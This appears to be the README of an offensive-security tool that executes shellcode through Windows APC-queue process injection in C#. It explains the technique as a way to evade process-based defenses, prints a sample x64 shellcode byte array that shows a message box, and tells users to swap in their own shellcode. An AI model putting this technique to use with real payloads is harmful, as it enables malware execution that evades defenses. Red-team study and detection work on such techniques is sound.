Awesome

APC_ShellcodeExecution_CSharp

blog link: may not gonna update

• Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.
• APC injection is a method of executing arbitrary code in the address space of a separate live process.
• QueueUserAPC function, Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.
• Only tested in Win10/x64, works fine, It should works on x86.
• The shellcode below is a messagebox

            /* MessageBox */
            byte[] buf1 = new byte[323] {
                0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
                0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
                0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
                0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
                0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
                0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
                0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
                0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
                0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
                0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
                0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
                0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
                0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
                0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
                0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
                0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,
                0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
                0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
                0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
                0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,
                0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,
                0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 
            };

Usage

1. Just replace the shellcode with your own

• Messagebox

TO-DO list

• None

Update history

• None

Reference link:

1. http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FAPC%2FNtQueueApcThread.html
2. https://idiotc4t.com/code-and-dll-process-injection/apc-and-nttestalert-code-execute
3. https://idiotc4t.com/code-and-dll-process-injection/apc-injection
4. https://idiotc4t.com/code-and-dll-process-injection/apc-thread-hijack
5. https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert
6. https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
7. https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection
8. https://attack.mitre.org/techniques/T1055/004/
9. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc